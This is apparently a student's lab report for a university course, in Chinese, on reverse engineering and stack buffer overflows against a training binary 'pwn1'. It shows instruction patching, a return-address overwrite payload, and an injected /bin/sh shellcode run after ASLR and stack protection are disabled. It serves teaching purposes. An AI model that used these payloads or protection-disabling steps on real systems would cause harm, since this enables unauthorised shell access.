2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

1. 实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。
pwn1文件包含以下三个函数:

  • main函数:用于调用foo函数。
  • foo函数:回显任何用户输入的字符串。
  • getShell函数:返回一个可用Shell。

本次实验的三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2 实验要求

2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:0x90
JNE:0x75
JE:0x74
CMP:0x39
JMP

  • Short Jump(短跳转):0xEB
  • Near Jump(近跳转):0xE9
  • Far Jump(远跳转):0xEA

2.2 掌握反汇编与十六进制编程器

反汇编:objdump -d xxx | more
十六进制编程器Perl:perl -e 'print "xxx"' > input

2.3 能正确修改机器指令改变程序执行流程

具体过程见实验步骤3.1

2.4 能正确构造payload进行bof攻击

具体过程见实验步骤3.3

3. 实践步骤

3.1 直接修改程序机器指令,改变程序执行流程

Step1:下载目标文件pwn1,并进行反汇编。
反汇编并分页显示objdump -d pwn1 | more
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

查找到getShell函数/getShell
可以看到getShell、foo、main三个函数的内存地址机器指令和汇编指令
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

Step2:计算修改内容
图中main函数调用foo函数call 8048491对应机器指令为e8d7ffffff

  • 其中e8call的机器指令
  • call=push IP+jmp near ptr
  • ffffffd7 + 80484ba = 8048491为foo函数的地址
    2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

所以计算getShell地址的跳转804847d - 80484ba = ffffffc3即将对应的机器指令改为e8 c3 ff ff ff
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

Step3:修改可执行文件

cp pwn1 pwn2做一个拷贝
vi pwn2对pwn2进行修改
:%!xxd以16进制的方式查看
/d7寻找需要修改的内容
r为单个修改
:%!xxd -r转回原格式
wq保存退出
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

重新反汇编可以看到已经改成了call getShell
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

Step4:运行尝试
运行成功。
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

3.2通过输入参数造成BOF攻击,改变程序执行流

Step1:反汇编查看缓冲区漏洞
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

可以看到foo函数预留了0x1c=28字节的缓冲区,所以超出部分将会溢出到其余内存空间,我们的目的是将getShell的内存地址存到EIP中
如下图:
于是可以确认我们需要将getShell的内存地址放在第33~36字节处。

Step2:输入尝试
输入111111112222222233333333444444441234567840个字节
新开一个端口使用gdb调试
运行后info r查看寄存器内容
可以看到IP的值为0x34333231
所以要将getShell的值反向存入33-36字节,即x7dx84x04x08

Step3:构造及输入
perl -e 'print "12345678123456781234567812345678x7dx84x04x08x0a"' > input构造的字符存入input文件中
x0a为回车符;“>”为输出重定向
xxd input以16进制形式查看input内容
(cat input; cat) | ./pwn1将input通过管 道符“|”,输入至pwn1中
可以看到攻击成功了
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

发现一个问题是无法进行密码验证,暂时不知道如何解决。

3.3 注入Shellcode并执行

Step1:准备一段Shellcode
本次实验shellcode参考博客Shellcode入门
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
Step2:准备工作

  1. 安装execstacksudo apt-get install execstack
  2. sudo execstack -s pwn1设置堆栈可执行
  3. sudo execstack -q pwn1
  4. more /proc/sys/kernel/randomize_va_space查看地址随机化状态
  5. echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化(过程中发现sudo无法执行,需要先sudo -s进入root权限
  6. more /proc/sys/kernel/randomize_va_space再次查看地址随机化状态
    2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解
    2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

Step3:构造注入的payload

采取retaddr+nop+shellcode的方式
nop为滑行区可以滑行到shellcode上
perl -e 'print "A" x 32; print "x31x32x33x34x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x 0"' > input_shellcode

  1. 首先要进入到IP寄存器的内容,输入32字节的任意内容
  2. 然后四位为地址,暂定为x01x02x03x04
  3. 再输入滑行区
  4. 最后是shellcode
  5. 最后一位x00不能为x0a回车符,因为要进行gdb调试
    2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

Step4:GDB调试

  1. 注入运行(cat input_shellcode; cat) | ./pwn1

  2. 不要敲回车打开另一个终端

  3. 查看pwn1进程号ps -ef | grep pwn1进程号2540
    2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

  4. 进入gdb调试进程attach 2540

  5. 查看foo进程地址disassemble foo

  6. ret(0x080484ae)处设置断点break *0x080484ae
    2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

  7. 在原终端敲回车,gdb中c继续

  8. 查看栈顶指针位置info r esp

  9. 查看该位置(0xffffd71c)的数据
    2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

  10. 找到shellcode位置(0xffffd720)

  11. 调试结束

Step5:修改代码
perl -e 'print "A" x 32; print "x20xd7xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x 0"' > input_shellcode
执行代码(cat input_shellcode;cat) | ./pwn1
2019-2020-2 20175302闫君廷《网络对抗技术》Exp1 PC平台逆向破解

4 问题及思考

4.1 实验收获

学习了栈的溢出攻击的简单原理,实验步骤完全按照老师给的说明和视频讲解,在应用过程中学习了怎样寻找进程号,怎样寻找代码的内存地址。

4.3 什么是漏洞?漏洞有什么危害?

漏洞是系统中的弱点
攻击者可以通过漏洞获取权限进行越权操作

4.2 问题

  1. 为什么在getShell中无法认证密码
  2. 我是在64位系统中操作的,不知道有什么区别
  3. 我用两台虚拟机模拟网络攻击失败,跟一个Ubuntu一个Kali有关系么